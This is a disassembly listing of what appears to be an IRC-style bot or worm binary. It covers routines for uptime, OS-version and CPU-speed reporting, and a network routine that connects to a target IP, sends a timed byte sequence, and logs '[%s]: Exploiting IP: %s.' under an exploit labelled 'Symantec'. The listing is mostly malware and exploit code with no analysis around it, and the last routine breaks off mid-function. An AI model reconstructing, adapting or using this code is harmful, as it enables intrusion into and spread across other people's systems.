; ---------------------------------------------------------------------------
loc_41AD2F: ; CODE XREF: sub_41AB97+192j
dec edi
loc_41AD30: ; CODE XREF: sub_41AB97+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43A1B8
push eax
call sub_41C006
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
lea eax, [ebp+var_26C]
push eax
call sub_415CEE
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41AB97 endp
; =============== S U B R O U T I N E =======================================
sub_41AD74 proc near ; CODE XREF: sub_401AC7+2565p
; sub_401AC7+29B3p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call near ptr 26A0729h
nop
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4D95D0
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41C100
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41AD74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADDD proc near ; CODE XREF: sub_417269+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 26E0636h
test eax, eax
jz short loc_41AE70
cmp [ebp+var_90], 4
jnz short loc_41AE46
cmp [ebp+var_8C], esi
jnz short loc_41AE2E
cmp [ebp+var_84], 1
jnz short loc_41AE21
push 1
pop esi
loc_41AE21: ; CODE XREF: sub_41ADDD+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AE70
push 1
jmp short loc_41AE6F
; ---------------------------------------------------------------------------
loc_41AE2E: ; CODE XREF: sub_41ADDD+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AE3B
loc_41AE37: ; CODE XREF: sub_41ADDD+78j
push 2
jmp short loc_41AE6F
; ---------------------------------------------------------------------------
loc_41AE3B: ; CODE XREF: sub_41ADDD+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AE70
jmp short loc_41AE60
; ---------------------------------------------------------------------------
loc_41AE46: ; CODE XREF: sub_41ADDD+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AE70
cmp [ebp+var_8C], esi
jz short loc_41AE37
cmp [ebp+var_8C], 1
jnz short loc_41AE64
loc_41AE60: ; CODE XREF: sub_41ADDD+67j
push 3
jmp short loc_41AE6F
; ---------------------------------------------------------------------------
loc_41AE64: ; CODE XREF: sub_41ADDD+81j
cmp [ebp+var_8C], 2
jnz short loc_41AE70
push 7
loc_41AE6F: ; CODE XREF: sub_41ADDD+4Fj
; sub_41ADDD+5Cj ...
pop esi
loc_41AE70: ; CODE XREF: sub_41ADDD+25j
; sub_41ADDD+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41ADDD endp
; =============== S U B R O U T I N E =======================================
sub_41AE75 proc near ; CODE XREF: sub_41AF2B+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41AE7D: ; CODE XREF: sub_41AE75+2Fj
; sub_41AE75+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call near ptr 268051Bh
nop
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41DBB0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41AE7D
jb short loc_41AEAC
cmp ebx, esi
ja short loc_41AE7D
loc_41AEAC: ; CODE XREF: sub_41AE75+31j
push 0
push 64h
push edi
push ebx
call sub_41DC20
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AF1F
jb short loc_41AECB
cmp esi, 50h
jnb short loc_41AED0
loc_41AECB: ; CODE XREF: sub_41AE75+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41AED0: ; CODE XREF: sub_41AE75+54j
test ecx, ecx
ja short loc_41AF1F
jb short loc_41AEDB
cmp esi, 47h
jnb short loc_41AEE0
loc_41AEDB: ; CODE XREF: sub_41AE75+5Fj
push 42h
xor edx, edx
pop eax
loc_41AEE0: ; CODE XREF: sub_41AE75+64j
test ecx, ecx
ja short loc_41AF1F
jb short loc_41AEEB
cmp esi, 37h
jnb short loc_41AEF0
loc_41AEEB: ; CODE XREF: sub_41AE75+6Fj
push 32h
xor edx, edx
pop eax
loc_41AEF0: ; CODE XREF: sub_41AE75+74j
test ecx, ecx
ja short loc_41AF1F
jb short loc_41AEFB
cmp esi, 26h
jnb short loc_41AF00
loc_41AEFB: ; CODE XREF: sub_41AE75+7Fj
push 21h
xor edx, edx
pop eax
loc_41AF00: ; CODE XREF: sub_41AE75+84j
test ecx, ecx
ja short loc_41AF1F
jb short loc_41AF0B
cmp esi, 1Eh
jnb short loc_41AF10
loc_41AF0B: ; CODE XREF: sub_41AE75+8Fj
push 19h
xor edx, edx
pop eax
loc_41AF10: ; CODE XREF: sub_41AE75+94j
test ecx, ecx
ja short loc_41AF1F
jb short loc_41AF1B
cmp esi, 0Ah
jnb short loc_41AF1F
loc_41AF1B: ; CODE XREF: sub_41AE75+9Fj
xor eax, eax
xor edx, edx
loc_41AF1F: ; CODE XREF: sub_41AE75+4Dj
; sub_41AE75+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41AE75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF2B proc near ; CODE XREF: sub_401AC7+2711p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43B4B8
mov [ebp+var_CC], 94h
nop
call near ptr 26E0636h
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41AFB2
cmp [ebp+var_C4], ebx
jnz short loc_41AF8E
cmp [ebp+var_BC], 1
jnz short loc_41AF78
mov [ebp+var_4], offset dword_431630
loc_41AF78: ; CODE XREF: sub_41AF2B+44j
cmp [ebp+var_BC], 2
jnz loc_41B02D
mov [ebp+var_4], offset dword_43162C
jmp short loc_41AFFE
; ---------------------------------------------------------------------------
loc_41AF8E: ; CODE XREF: sub_41AF2B+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41AFA0
mov [ebp+var_4], offset dword_431628
jmp short loc_41AFF5
; ---------------------------------------------------------------------------
loc_41AFA0: ; CODE XREF: sub_41AF2B+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41AFEE
mov [ebp+var_4], offset dword_431624
jmp short loc_41AFF5
; ---------------------------------------------------------------------------
loc_41AFB2: ; CODE XREF: sub_41AF2B+33j
cmp [ebp+var_C8], 5
jnz short loc_41AFEE
cmp [ebp+var_C4], ebx
jnz short loc_41AFCC
mov [ebp+var_4], offset dword_431620
jmp short loc_41AFF5
; ---------------------------------------------------------------------------
loc_41AFCC: ; CODE XREF: sub_41AF2B+96j
cmp [ebp+var_C4], 1
jnz short loc_41AFDE
mov [ebp+var_4], offset dword_43161C
jmp short loc_41AFF5
; ---------------------------------------------------------------------------
loc_41AFDE: ; CODE XREF: sub_41AF2B+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41AFF5
loc_41AFEE: ; CODE XREF: sub_41AF2B+7Cj
; sub_41AF2B+8Ej
mov [ebp+var_4], offset dword_431614
loc_41AFF5: ; CODE XREF: sub_41AF2B+73j
; sub_41AF2B+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B02D
loc_41AFFE: ; CODE XREF: sub_41AF2B+61j
cmp [ebp+var_B8], bl
jz short loc_41B02D
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_4363DC
push eax
call sub_41C006
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B02D: ; CODE XREF: sub_41AF2B+54j
; sub_41AF2B+D1j ...
mov ax, word_437BD4
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4C91E4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41B066
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41B066: ; CODE XREF: sub_41AF2B+12Cj
push [ebp+arg_4]
call sub_40A9FA
pop ecx
push eax
call dword_4C9344
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4C92BC
cmp eax, ebx
jz short loc_41B08F
push dword ptr [eax]
jmp short loc_41B094
; ---------------------------------------------------------------------------
loc_41B08F: ; CODE XREF: sub_41AF2B+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B094: ; CODE XREF: sub_41AF2B+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41C006
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 2680000h
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43A4A0
push ebx
mov esi, 409h
push ebx
push esi
call near ptr 2760000h
nop
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call near ptr 27514C3h
nop
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 2860000h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41C151
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416D8D
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41AD74
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40A9FA
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416C7D
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416C7D
pop ecx
pop ecx
push eax
call sub_41AE75
push edx
push eax
push offset dword_43A3C4
push 200h
push [ebp+arg_0]
call sub_41C100
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AF2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B1DF proc near ; CODE XREF: sub_401AC7+273Fp
; sub_401AC7+71F4p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BD10
add esp, 0Ch
cmp dword_4C93EC, 0
jnz short loc_41B253
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4C91C8
test eax, eax
jnz short loc_41B234
lea eax, [ebp+var_8C]
push offset dword_43A518
push eax
call sub_41C006
pop ecx
pop ecx
loc_41B234: ; CODE XREF: sub_41B1DF+40j
test [ebp+var_C], 1
jz short loc_41B24C
push offset dword_43A510
loc_41B23F: ; CODE XREF: sub_41B1DF+72j
lea eax, [ebp+var_8]
push eax
call sub_41C006
pop ecx
pop ecx
jmp short loc_41B272
; ---------------------------------------------------------------------------
loc_41B24C: ; CODE XREF: sub_41B1DF+59j
push offset off_43A50C
jmp short loc_41B23F
; ---------------------------------------------------------------------------
loc_41B253: ; CODE XREF: sub_41B1DF+28j
mov esi, offset off_43A508
lea eax, [ebp+var_8]
push esi
push eax
call sub_41C006
lea eax, [ebp+var_8C]
push esi
push eax
call sub_41C006
add esp, 10h
loc_41B272: ; CODE XREF: sub_41B1DF+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40A9FA
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43A4C4
push 200h
push [ebp+arg_0]
call sub_41C100
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B1DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B2A5 proc near ; DATA XREF: sub_401AC7+75A0o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43A5F8
call sub_41BD10
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41BD10
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41BD10
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41BD10
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41BD10
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4C9200
test eax, eax
jz loc_41B43F
cmp [ebp+var_34], ebx
jbe short loc_41B37C
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41BD70
add esp, 0Ch
loc_41B37C: ; CODE XREF: sub_41B2A5+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B39A
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41BD70
add esp, 0Ch
loc_41B39A: ; CODE XREF: sub_41B2A5+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B3B4
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41BD70
add esp, 0Ch
loc_41B3B4: ; CODE XREF: sub_41B2A5+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B3CE
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41BD70
add esp, 0Ch
loc_41B3CE: ; CODE XREF: sub_41B2A5+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4C92B4
call dword_4C92D8
mov esi, eax
cmp esi, ebx
jz short loc_41B457
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4C92CC
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B45E
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4C9278
test eax, eax
jz short loc_41B438
push offset dword_43A5DC
jmp short loc_41B463
; ---------------------------------------------------------------------------
loc_41B438: ; CODE XREF: sub_41B2A5+18Aj
push offset unk_43A5A0
jmp short loc_41B463
; ---------------------------------------------------------------------------
loc_41B43F: ; CODE XREF: sub_41B2A5+B7j
lea eax, [ebp+var_55C]
push offset dword_43A584
push eax
call sub_41C006
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41B471
; ---------------------------------------------------------------------------
loc_41B457: ; CODE XREF: sub_41B2A5+153j
push offset unk_43A558
jmp short loc_41B463
; ---------------------------------------------------------------------------
loc_41B45E: ; CODE XREF: sub_41B2A5+17Bj
push offset unk_43A528
loc_41B463: ; CODE XREF: sub_41B2A5+191j
; sub_41B2A5+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41C006
pop ecx
pop ecx
loc_41B471: ; CODE XREF: sub_41B2A5+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41B49C
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409862
add esp, 14h
loc_41B49C: ; CODE XREF: sub_41B2A5+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_415CEE
pop ecx
push esi
call dword_4C9338
push [ebp+var_4]
call dword_4C9338
push [ebp+var_1D8]
call sub_40B6C9
pop ecx
push ebx
nop
call near ptr 26F0000h
pop edi
pop esi
pop ebx
sub_41B2A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B4CF proc near ; CODE XREF: sub_401AC7+4FA4p
arg_0 = dword ptr 4
push esi
push 100h
mov esi, offset byte_4D960C
push 0
push esi
call sub_41BD10
push [esp+10h+arg_0]
push offset aS_1 ; "%s"
push 0FFh
push esi
call sub_41C100
add esp, 1Ch
pop esi
retn
sub_41B4CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B4FB proc near ; CODE XREF: ___:0041B7E3p
; ___:0041B800p ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4CC030
lea edi, [ebp+var_C]
mov ax, word_43A5FC
movsd
movsb
mov esi, offset dword_4D970C
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, word_433ED8
movsd
mov [ebp+var_6], ax
mov ax, word_4C91BC
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_41B5C7
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_41B54D: ; CODE XREF: sub_41B4FB+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41B56D
dec eax
jnz short loc_41B5BB
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4C9354
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B581
; ---------------------------------------------------------------------------
loc_41B56D: ; CODE XREF: sub_41B4FB+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4C9354
push esi
push 1
lea eax, [ebp+var_6]
loc_41B581: ; CODE XREF: sub_41B4FB+70j
push eax
push edi
call dword_4C9354
push ebx
call sub_41B960
pop ecx
cmp eax, 2
push esi
jnz short loc_41B59D
push 4
lea eax, [ebp+var_C]
jmp short loc_41B5A2
; ---------------------------------------------------------------------------
loc_41B59D: ; CODE XREF: sub_41B4FB+99j
push 5
lea eax, [ebp+var_14]
loc_41B5A2: ; CODE XREF: sub_41B4FB+A0j
push eax
push edi
call dword_4C9354
push esi
push ebx
call sub_41B960
pop ecx
push eax
push ebx
push edi
call dword_4C9354
loc_41B5BB: ; CODE XREF: sub_41B4FB+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41B54D
pop ebx
jmp short loc_41B63D
; ---------------------------------------------------------------------------
loc_41B5C7: ; CODE XREF: sub_41B4FB+42j
dec eax
jz short loc_41B5E6
dec eax
jnz short loc_41B63D
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4C9354
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B5FD
; ---------------------------------------------------------------------------
loc_41B5E6: ; CODE XREF: sub_41B4FB+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4C9354
push esi
push 1
lea eax, [ebp+var_6]
loc_41B5FD: ; CODE XREF: sub_41B4FB+E9j
push eax
push edi
call dword_4C9354
push [ebp+arg_4]
call sub_41B960
pop ecx
cmp eax, 2
push esi
jnz short loc_41B61B
push 4
lea eax, [ebp+var_C]
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B61B: ; CODE XREF: sub_41B4FB+117j
push 5
lea eax, [ebp+var_14]
loc_41B620: ; CODE XREF: sub_41B4FB+11Ej
push eax
push edi
call dword_4C9354
push esi
push [ebp+arg_4]
call sub_41B960
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_4C9354
loc_41B63D: ; CODE XREF: sub_41B4FB+CAj
; sub_41B4FB+D0j
pop edi
pop esi
leave
retn
sub_41B4FB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 288h
push ebx
push esi
push edi
mov esi, offset dword_43A614
lea edi, [ebp-38h]
mov ax, word_433ED8
movsd
movsd
movsd
movsb
mov esi, offset dword_43A610
lea edi, [ebp-1Ch]
movsw
movsb
mov esi, offset dword_4CC030
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_43A60C
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_43A608
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_43A604
lea edi, [ebp-0Ch]
movsw
movsb
xor esi, esi
mov [ebp-6], ax
mov [ebp-16h], ax
mov ax, word ptr aR ; "r"
push esi
push 1
push 2
mov [ebp-18h], ax
xor edi, edi
call dword_4C9384
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41B6C4
push eax
call dword_4C939C
loc_41B6C4: ; CODE XREF: ___:0041B6BBj
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_4C9344
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_4C9304
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4C92AC
test eax, eax
jnz loc_41B7C0
loc_41B6FC: ; CODE XREF: ___:0041B76Ej
; ___:0041B7A5j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_4C931C
cmp eax, esi
jle loc_41B7CE
cmp eax, 0FFFFFFFFh
jz loc_41B7CE
mov eax, edi
sub eax, esi
jz short loc_41B770
dec eax
jz short loc_41B73E
dec eax
jz short loc_41B7AA
jmp short loc_41B7A0
; ---------------------------------------------------------------------------
loc_41B73E: ; CODE XREF: ___:0041B737j
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-88h]
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41B7C0
lea eax, [ebp-6]
push esi
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp-6]
push eax
push ebx
call dword_4C9354
push 2
pop edi
jmp short loc_41B6FC
; ---------------------------------------------------------------------------
loc_41B770: ; CODE XREF: ___:0041B734j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41B7C0
lea eax, [ebp-38h]
push esi
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_4C9354
push 1
pop edi
loc_41B7A0: ; CODE XREF: ___:0041B73Cj
cmp edi, 3
jz short loc_41B7CE
jmp loc_41B6FC
; ---------------------------------------------------------------------------
loc_41B7AA: ; CODE XREF: ___:0041B73Aj
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_41B7CE
loc_41B7C0: ; CODE XREF: ___:0041B6F6j
; ___:0041B752j ...
push ebx
call dword_4C939C
xor eax, eax
jmp loc_41B957
; ---------------------------------------------------------------------------
loc_41B7CE: ; CODE XREF: ___:0041B721j
; ___:0041B72Aj ...
push esi
lea eax, [ebp-16h]
push 1
push eax
push ebx
call dword_4C9354
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_41B4FB
mov esi, dword_427088
add esp, 0Ch
mov edi, 3E8h
push edi
call esi
lea eax, [ebp-18h]
push 0
push eax
push ebx
call sub_41B4FB
add esp, 0Ch
push edi
call esi
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_41B4FB
add esp, 0Ch
push edi
call esi
and dword ptr [ebp-4], 0
mov edi, offset byte_4D960C
push edi
call sub_41B960
test eax, eax
pop ecx
jbe short loc_41B86E
loc_41B831: ; CODE XREF: ___:0041B86Cj
mov eax, [ebp-4]
movsx eax, byte_4D960C[eax]
push eax
push offset dword_43A600
lea eax, [ebp-20h]
push 3
push eax
call sub_41C100
lea eax, [ebp-20h]
push 0
push eax
push ebx
call sub_41B4FB
add esp, 1Ch
push 7Dh
call esi
inc dword ptr [ebp-4]
push edi
call sub_41B960
cmp [ebp-4], eax
pop ecx
jb short loc_41B831
loc_41B86E: ; CODE XREF: ___:0041B82Fj
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B4FB
add esp, 0Ch
push 0FA0h
call esi
push 2
pop edi
loc_41B887: ; CODE XREF: ___:0041B89Ej
lea eax, [ebp-14h]
push 0
push eax
push ebx
call sub_41B4FB
add esp, 0Ch
push 12Ch
call esi
dec edi
jnz short loc_41B887
mov edi, 7D0h
push edi
call esi
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B4FB
add esp, 0Ch
push edi
call esi
xor edi, edi
lea eax, [ebp-14h]
push edi
push eax
push ebx
call sub_41B4FB
add esp, 0Ch
push 190h
call esi
mov dword ptr [ebp-4], 2
loc_41B8D8: ; CODE XREF: ___:0041B8F0j
push 258h
call esi
lea eax, [ebp-0Ch]
push edi
push eax
push ebx
call sub_41B4FB
add esp, 0Ch
dec dword ptr [ebp-4]
jnz short loc_41B8D8
push ebx
call dword_4C939C
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-288h]
push 1FFh
push eax
call sub_41C100
push edi
lea eax, [ebp-288h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409862
mov eax, [ebp+0B0h]
add esp, 28h
shl eax, 6
inc dword_431810[eax]
push 1
lea eax, dword_431810[eax]
pop eax
loc_41B957: ; CODE XREF: ___:0041B7C9j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B960 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Bp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B980
loc_41B96C: ; CODE XREF: sub_41B960+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B9B3
test ecx, 3
jnz short loc_41B96C
add eax, 0
loc_41B980: ; CODE XREF: sub_41B960+Aj
; sub_41B960+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B980
mov eax, [ecx-4]
test al, al
jz short loc_41B9D1
test ah, ah
jz short loc_41B9C7
test eax, 0FF0000h
jz short loc_41B9BD
test eax, 0FF000000h
jz short loc_41B9B3
jmp short loc_41B980
; ---------------------------------------------------------------------------
